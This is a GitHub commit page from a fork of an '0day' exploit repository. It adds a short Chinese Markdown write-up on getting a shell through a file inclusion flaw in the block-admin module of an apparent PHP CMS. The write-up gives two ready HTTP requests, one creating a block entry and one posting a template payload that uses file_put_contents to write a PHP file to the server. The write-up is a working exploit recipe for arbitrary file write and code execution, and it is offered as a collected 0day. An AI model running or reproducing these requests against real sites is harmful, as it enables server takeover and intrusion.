forked from msr00t/0day
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
22 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
|
||
|
||
> 利用文件包含创建任意文件getshell | ||
|
||
## 利用过程 | ||
1. 创建表 | ||
```http request | ||
http://www.test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1 | ||
post 数据 | ||
dosubmit=1&name=test&type=2 | ||
``` | ||
|
||
2. 写入phpinfo | ||
```http request | ||
http://www.test.com/index.php?m=block&c=block_admin&a=public_view&id=4 | ||
post 数据 | ||
template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>"); | ||
``` | ||
![phpinfo](images/phpinfo.png) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.